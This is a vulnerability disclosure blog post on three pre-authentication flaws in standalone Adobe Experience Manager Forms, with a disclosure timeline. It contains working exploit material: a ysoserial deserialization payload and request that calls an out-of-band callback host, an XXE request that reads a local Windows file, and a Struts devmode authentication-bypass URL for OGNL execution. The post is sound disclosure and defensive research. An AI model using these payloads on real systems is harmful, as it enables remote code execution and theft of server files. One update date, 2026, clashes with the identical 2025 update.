Struts Devmode in 2025? Critical Pre-Auth Vulnerabilities in Adobe Experience Manager Forms

July 29, 2025

Struts Devmode in 2025? Critical Pre-Auth Vulnerabilities in Adobe Experience Manager Forms

Vulnerabilities in AEM Forms

The Searchlight Cyber Research Team discovered and disclosed three critical vulnerabilities in Adobe Experience Manager Forms to Adobe in late April 2025.

As of writing this research post, 90 days have passed since our disclosure to Adobe. During this time, Adobe has only released a patch for one of the three critical vulnerabilities, the insecure deserialization vulnerability leading to command execution (CVE-2025-49533). Their official advice for this vulnerability can be found here.

The remaining two vulnerabilities, including the authentication bypass to RCE chain via Struts2 devmode (SL-AEM-FORMS-1) and the XXE within AEM Forms web services (SL-AEM-FORMS-2), do not have publicly available patches or remediation advice.

We strongly recommend restricting access to Adobe Experience Manager Forms from the external internet when deployed as a standalone application.

Update August 6, 2026:

Adobe has published a fix for the remaining two vulnerabilities, tracked as CVE-2025-54253 (RCE via Struts DevMode) and CVE-2025-54254 (XXE). The security bulletin with update instructions can be found here.

The Aura of Default Deployment Pages

When examining an attack surface, we often encounter situations where the technologies deployed on an asset are not immediately apparent. We see this frequently when assets expose the default IIS page or the default Tomcat page. Whenever we come across assets like these, we usually find some obscure technology that has been nested several levels deep in a directory structure perspective.

These technologies are often tricky to fingerprint and pose a significant blind spot on most attack surfaces. Due to this, we’ve taken a keen interest in uncovering some of these technologies and spending time to investigate the security of applications deployed in a way that most traditional scanners would miss.

Spooky! No one deploys blank JBoss servers; there’s got to be something here 🙂

Identifying Adobe Experience Manager Forms

Since our technology detection goes beyond just the document root for our customers’ assets, we identified that this asset was running Adobe Experience Manager Forms via a request made to `/lc/libs/livecycle/core/content/login.html`, which returns the login interface for this product. Similarly, a call to `/edcws/` reveals several exposed web services specific to AEM Forms.

Adobe Experience Manager Forms can be deployed in two different ways: either it is co-deployed with your standard AEM installation, or it is deployed standalone on a J2EE-compatible server. The vulnerabilities we detail in this blog are primarily applicable to standalone deployments of AEM Forms via a J2EE-compatible server such as JBoss.

A Fairly Standard Insecure Deserialization Vulnerability (CVE-2025-49533)

In a JBoss environment, application bundles are typically deployed in the format of `.EAR` files. These files contain a mapping for each `WAR` file and their location accessible on the web server. This mapping file is typically found at `META-INF/application.xml`. For the case of AEM forms, as we systematically worked through the WAR files and their exposed servlets, we came across the following module:

<module>
	<web>
		<web-uri>adobe-forms-res.war</web-uri>
		<context-root>/FormServer</context-root>
	</web>
</module>

The `web.xml` of this FormServer module had the following entry:

<servlet>
	<servlet-name>GetDocumentServlet</servlet-name>
	<servlet-class>com.adobe.formServer.GetDocumentServlet</servlet-class>
</servlet>

This servlet had the following code:

public class GetDocumentServlet extends BaseAppServlet {
  private static final long serialVersionUID = 7783925106122386434L;
  
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    try {
      String serDoc = request.getParameter("serDoc");
      String trace = request.getParameter("TRACE");
      if (serDoc == null || serDoc.length() == 0)
        throw new Exception("Missing serDoc parameter"); 
      byte[] rawDoc = URLUtils.decodeAndUnzip(serDoc, false);
      Document p = URLUtils.deserializeDoc(rawDoc);
      response.setHeader("Content-Disposition", "attachment;filename=" + p.getAttribute("name"));
      String contentType = p.getContentType();
      if (contentType != null && !"".equals(contentType))
        response.setContentType(contentType); 
      ServletOutputStream oSOS = response.getOutputStream();
      if (p != null) {
        InputStream docis = p.getInputStream();
        int n = 0;
        int tot_n = 0;
        byte[] buf = new byte[8192];
        while ((n = docis.read(buf)) > 0) {
          oSOS.write(buf, 0, n);
          tot_n += n;
        } 
        p.dispose();
        response.setContentLength(tot_n);
        if (trace != null && trace.toLowerCase().indexOf("formserver") >= 0)
          FormsLogger.logInfo(getClass(), "GetDocumenServlet: returning " + contentType + " (" + tot_n + ") bytes"); 
      } 
      oSOS.flush();
      oSOS.close();
    } catch (Exception e) {
      handleException(response, e);
    } 
  }
}

The `serDoc` parameter was first decoded through `URLUtils.decodeAndUnzip`, which involved the following:

  public static byte[] decodeAndUnzip(String in, boolean urlDecode) throws Exception {
    long startTime = FormsLogger.logPerformance(false, 0L, "<URLUtils-decodeAndUnzip>");
    byte[] res = null;
    if (in != null) {
      byte[] dec = null;
      if (urlDecode) {
        dec = ServletUtil.URLDecode(in);
      } else {
        dec = in.getBytes("UTF8");
      } 
      if (dec != null) {
        dec = Base64.decode(dec);
        if (dec != null)
          res = GZip.ungzip(dec); 
      } 
    } 
    FormsLogger.logPerformance(true, startTime, "</URLUtils-decodeAndUnzip>");
    return res;
  }

Which is then deserialized through the call to `URLUtils.deserializeDoc(rawDoc)`:

  public static Document deserializeDoc(byte[] docBytes) throws Exception {
    long startTime = FormsLogger.logPerformance(false, 0L, "<URLUtils-deserializeDoc>");
    if (docBytes == null)
      return null; 
    ByteArrayInputStream bis = new ByteArrayInputStream(docBytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    Document docObject = (Document)ois.readObject();
    FormsLogger.logPerformance(true, startTime, "</URLUtils-deserializeDoc>");
    return docObject;
  }

To exploit this, we first tried the following command:

java -jar ysoserial-all.jar CommonsBeanutils1 "nslookup test.gk4iaajx122vx96khp8h2h2pcgi863us.oastify.com" | gzip | base64 -w0

Sending the payload generated by the command above to our target resulted in the following error:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl from [Module "deployment.adobe-livecycle-jboss.ear.adobe-forms-res.war" from Service Module Loader]
java.lang.ClassNotFoundException: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl from [Module "deployment.adobe-livecycle-jboss.ear.adobe-forms-res.war" from Service Module Loader]

Based on this error, we took a few moments to understand the gadget chain being constructed through ysoserial in a bit more detail, until we came across the following code inside the ysoserial repo, which was relevant to our payload generation process:

   public static Object createTemplatesImpl(String command) throws Exception {
        command = command.trim();
        Class tplClass;
        Class abstTranslet;
        Class transFactory;

        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
            abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
            transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");

Since `org.apache.xalan.xsltc.trax.TemplatesImpl` existed in our environment, all we had to do to exploit this deserialization issue was modify our ysoserial command to be the following:

java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "nslookup test.gk4iaajx122vx96khp8h2h2pcgi863us.oastify.com" | gzip | base64 -w0

We took the output of this and sent the following request to achieve RCE:

GET /FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/GTvPWoJK2PJ9fHe+97ln/PBnxD0XvbfZXab5wqxo865pu6aov+pzn7/7zemPfp9++1EUkSxinnmP56AadtVhLhO2K7A7F2jqgaaeWZdP1hwAETJ8wnZLGnOYUeYa6VVty9OKnFmBgqfN0GpD6/v33/nJO/TBXASRLV7u4C1IOSiOazvcFXWBVMNrhVklPS9c0yqRR/I2FKYRiLWG+EiGeTxredzyTGHe5RvOVqO33rw1/8NXEaDmCHTZvnB8Md9wYXJvNUYZRMnmWQpE83xL25RJjZEPzbQEdy1W0WpeRRiacFlNW+BVp8IE97I0t928/rn18EE6ikQWHUumtcwt8YpfLXI3i84lUrC8ChdZktcKUJeKdcENe5l7AtFCYaaAxJJRYR5tU4VNGWcC2WQO8SWLVXlQnVgOO5e2Z7C1ORvyRnPwN318N3R07c+9PaXSt2NhLYLGkTxSmHn4a+9vCWXhu6Y4fvTLvz75jI7TuKpiJw7LOKLgqIpjOK4iggEFg8E8pCCl4ISCkwpOtaELmgodp4NhWMaIjIsyzkiIGtVlqVUnJSSmTMsU5+mZgcFFCbEM1UTCjpxp8Ub1FlixwgNl22CVReaawb4pjImy6UnQcnXP9jgdVXSH1Ss2W/Z0sdadAKtVZi2vtYucKlNGpek2RqGRiV2FVsF15AUzVl5mTuhPxn7KSYKat33X4LNmEEL3NutaYCaJbvRI6NpuUoJse1rQSRkvJTGKsSTGMUHJr5pWEmdBPiO6QVEVmVem9SkjiRR2yZhK4hzOJzGNCxRsaNe09ez1yzWDO8K0LQknn6cIW4K7XrzNDbE13rpHuhLaS3wNZnUJxwaerdJgq8K1Cztnr3I3uJJUo4GWDymGbQlmWlT+fZsNZ8rMzfM7PrcMPjn4uoSdG2ev+ZYwq2RTpcDWNz1bHDTF5CHGa5yqOTDQorubNShDg9M9k3DueYqYTk8MT4wOp0+Pjoylx9PDhPTp54LiMwYm6ca0IQNNwlniC9te8Z0DpCi00soZk7HbteGRkbu1idGVsjNeHimPOEbJHB9N+55mM0+Yb9QD5lVwWcIFWujEZTpxmd7gMj3kMn2Ny/SQy3S3US79YtEjljLEQpOqZFxRMYfDOEj3eo64gDoWgDEgDVoTwmncTTudZonm+NDHyD4Kj3tpTDSE2ENjsrneixmaFexbV34Met/QfCk1+yEuJT5F5Foq+hSxJ4inEk8gv4euoWhKyQ/FUm35++igjRps2vND8cdI5p+S6Ak6b94nYnxENlW6IjPYQVaDGDS0k1eVvh3oQyf66eQ48dlJSmSYUhijGKbDqHqp6n3rsaqYwAvYT7sX6deJ2B84LqO/bV7GgaAQB8MsD/kBIXeR4Ot1utynkuseGb0y9sjYS5eqgYZF7np0TW9kL1GxrhK1ZOj1KJglFlnF5/E7P5q/TFWv7Pl/CDE6a9sSklnLoisYvEE4CY+2gmb4vrjCluk2eUdIa3IbvSWbZ01aU9Euo0/C4f9gqiXFdK9RVz7UNu814u7/F3tU8AjVlRKkXx+1NACXHDZBCdFHgdGY3IZGqYHGjnU0fkG93EDjDkJBcN6AdDfhAmSIaJdQ0YU2+qugXLu4MHfjxtyssyqhFnS7o/YPPlGKQ0cJAAA=</@urlencode> HTTP/1.1
Host: target

This resulted in a DNS callback (due to our nslookup command):

All in all, this was a fairly standard Java insecure deserialization issue that resulted in command execution. Besides the encoding and the use of an additional flag when calling ysoserial to enable “properXalan”, it was surprising to us that this vulnerability had been lurking in this codebase for so long.

An Even More Standard XXE (SL-AEM-FORMS-1)

Given the straightforward nature of the deserialization to RCE chain, we were confident that this product had additional security issues. As we worked through the various exposed web applications, we started to get curious about the Axis-based web services exposed for AEM Forms. We started looking at `edc-webservice.war`, which is mapped to `/edcws` on AEM Forms standalone servers.

Although this module utilizes Apache Axis, its authentication handling is entirely custom. Unfortunately, the authentication mechanism for the web services themselves loaded an XML document in an insecure manner, making this XXE vulnerability exploitable without authentication.

The following code was responsible for loading authentication relevant information before the execution of any deeper web services code:

public class SecurityCheckHandler extends BasicHandler {
  private static final Logger logger = Logger.getLogger(com.adobe.edc.server.webservices.SecurityCheckHandler.class);
  
  static Log log = LogFactory.getLog(com.adobe.edc.server.webservices.SecurityCheckHandler.class.getName());
  
  private void processEDCSecurityData(String x, Document envDocument, SOAPHeader rootHeader, SOAPEnvelope soapEnvelope) throws Exception {
    logger.debug("Entering Function :\t SecurityCheckHandler::LogFactory.getLog");
    StringBuffer buffer = new StringBuffer(1024);
    if (x.indexOf("<wsse:UsernameToken") > 0) {
      String ustarttoken = "<wsse:Username>";
      String uendtoken = "</wsse:Username>";
      String pwstarttoken = "<wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">";
      String pwendtoken = "</wsse:Password>";
      int i = x.indexOf(ustarttoken);
      int j = x.indexOf(uendtoken);
      int k = x.indexOf(pwstarttoken);
      int l = x.indexOf(pwendtoken);
      String uname = x.substring(i + ustarttoken.length(), j);
      String pwd = x.substring(k + pwstarttoken.length(), l);
      WSSAddUsernameToken builder = new WSSAddUsernameToken(null, false);
      builder.setPasswordType("http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText");
      builder.build(envDocument, uname, pwd);
    } else {
      ByteArrayInputStream bin = new ByteArrayInputStream(x.getBytes("UTF-8"));
      DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
      factory.setNamespaceAware(true);
      DocumentBuilder builder = factory.newDocumentBuilder();
      Document doc = builder.parse(bin);
      Element e = (Element)envDocument.importNode(doc.getFirstChild(), true);
      Element assertion = null;
      NodeList list = e.getElementsByTagName("Assertion");
      int i = list.getLength();
      if (list != null && i > 0) {
        assertion = (Element)list.item(0);
        WSSAddSAMLToken saml = new WSSAddSAMLToken(null, false);
        saml.build(envDocument, new SAMLAssertion(assertion));
      } else {
        Node ker = e.getFirstChild();
        WSSAddXMLToken kerberosBuilder = new WSSAddXMLToken(null, false);
        kerberosBuilder.build(envDocument, (Element)ker);
      } 
    } 
  }

The only tricky part was determining the exact XML message we needed to send to exploit this issue. We were able to exploit this issue with the following crafted request:

POST /edcws/services/urn:EDCLicenseService HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
SOAPAction: 
Content-Type: text/xml;charset=UTF-8
Host: target
Content-Length: 17872

<!-- waf_bypass_padding_goes_here --><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://w...content-available-to-author-only...3.org/2001/XMLSchema-instance" xmlns:xsd="http://w...content-available-to-author-only...3.org/2001/XMLSchema" xmlns:tns1="http://e...content-available-to-author-only...e.com/edcwebservice" xmlns:impl="http://localhost:8080/axis/services/urn:EDCLicenseService" xmlns:ns2="http://c...content-available-to-author-only...e.com" xmlns:ns1="http://n...content-available-to-author-only...e.com/PolicyServer/ws"><SOAP-ENV:Header><EDCSecurity><@html_entities>
<!DOCTYPE doc [
      <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
      <!ENTITY % SuperClass '>
          <!ENTITY &#x25; file SYSTEM "C:\Windows\win.ini">
          <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;file;qqq://x&#x27;>">
          &#x25;eval;
          &#x25;error;
        <!ENTITY test "test"'
      >
      %local_dtd;
    ]><xxx>anything</xxx>
</@html_entities></EDCSecurity><Version>7</Version><Locale>de-de</Locale></SOAP-ENV:Header><SOAP-ENV:Body><impl:synchronize><SynchronizationRequest><firstTime>1</firstTime><licenseSeqNum>0</licenseSeqNum><policySeqNum>1</policySeqNum><revocationSeqNum>0</revocationSeqNum><watermarkTemplateSeqNum>0</watermarkTemplateSeqNum></SynchronizationRequest></impl:synchronize></SOAP-ENV:Body></SOAP-ENV:Envelope>

Resulting in the following HTTP response, leaking the full contents of any local file:

HTTP/1.1 500 Internal Server Error
X-OneAgent-JS-Injection: true
X-Powered-By: Undertow/1
Server: JBoss-EAP/7
Content-Type: text/xml;charset=utf-8
Server-Timing: dtRpid;desc="1473414942", dtSInfo;desc="0"
Expires: Tue, 01 Apr 2025 04:18:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 Apr 2025 04:18:34 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><soapenv:Fault><faultcode>soapenv:Server.userException</faultcode><faultstring>java.net.MalformedURLException: no protocol: ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
qqq://x</faultstring><detail><ns1:hostname xmlns:ns1="http://xml.apache.org/axis/">SERVER1</ns1:hostname></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>

Struts2 Devmode in 2025?! (SL-AEM-FORMS-2)

As we audited all the different modules inside AEM Forms, we identified a relatively simple authentication bypass vulnerability within one of the filters used for enforcing authentication. Despite the name of the filter being `com.adobe.framework.SecurityFilter`, it was quite the opposite:

StringBuffer url = request.getRequestURL();
if (url.indexOf(this.timeoutPage) >= 0 || url.indexOf(this.failPage) >= 0 || url.indexOf("login.") >= 0) {
    logger.debug("Allow request to pass through: ", (Object)url.toString());
    inChain.doFilter(inRequest, inResponse);
}

This “security filter” was the only real thing preventing access to the endpoints of the `adminui.war` module, deployed under `/adminui`. To make matters worse, the Struts config of this module indicated that Struts2 Devmode had been left enabled (presumably forgotten about by the developers at Adobe), before shipping this product to enterprise customers:

	<!-- TODO -->
	<constant name="struts.devMode" value="true" />

Combining the authentication bypass vulnerability and the fact that Struts devmode had been left as enabled, OGNL expressions were executable through the following payload:

/adminui/updateLicense1.do;login.?debug=command&expression=7*7

It is trivial to escalate this to remote command execution through the many public sandbox bypasses available. In our case, we were dealing with a rather complex WAF, and since the payload was within the GET request’s first line component, we had to be somewhat creative to achieve RCE.

Conclusion

All the vulnerabilities we’ve disclosed in AEM Forms are not complex. Instead, these issues are what we would expect to have been discovered years ago. Previously known as LiveCycle, this product line has been in use by enterprises for almost two decades. That raises the question of why these simple vulnerabilities had not been caught by others or fixed by Adobe. Seeing Struts DevMode enabled in an enterprise application by default was also a surprise to us, given how easily it can be escalated to RCE. 

Given the numerous vulnerabilities discovered and the lack of patches for the XXE and authentication bypass vulnerabilities leading to a RCE chain, we strongly recommend that customers using AEM Forms in standalone mode restrict access to this application to internal users/networks only.

Update August 6, 2025:

Adobe has published a fix for the remaining two vulnerabilities, tracked as CVE-2025-54253 (RCE via Struts DevMode) and CVE-2025-54254 (XXE). The security bulletin with update instructions can be found here.

Timeline

  • 28th April 2025: We send our initial disclosure to Adobe via psirt@adobe.com
  • 13th May 2025: We send a follow-up & additional notes to Adobe
  • 13th May 2025: Reached out-of-band to an Adobe employee on their security team, asking for them to take a look at the reported issues
  • 14th May 2025: Adobe assigns VULN-31606 to the AEM Forms reports
  • 11th June 2025: Adobe responds to email chain with details about a patch for a completely different set of vulnerabilities
  • 11th June 2025: We ask for clarification about what vulnerabilities they are referring to, as they are not related to AEM Forms
  • 13th June 2025: Adobe apologizes and provides a status on the reported vulnerabilities for AEM Forms (in progress)
  • 22nd July 2025: We remind Adobe of the 90-day disclosure deadline for the AEM Forms bugs
  • 26th July 2025: We remind Adobe again of the upcoming disclosure since we received no response
  • 28th July 2025: We remind Adobe for the last time of the upcoming disclosure since we received no response
  • 5th August 2025: Adobe publishes a security bulletin with fixes for the remaining vulnerabilities

About Assetnote

Searchlight Cyber’s ASM solution, Assetnote, provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our attack surface management page to learn more about our platform and the research we do.

in this article

Book your demo: Identify cyber
threats earlier– before they
impact your business

Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:

Enhance your security with advanced automated dark web monitoring and investigation tools

Continuously monitor for threats, including ransomware groups targeting your organization

Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations

Fill in the form to get you demo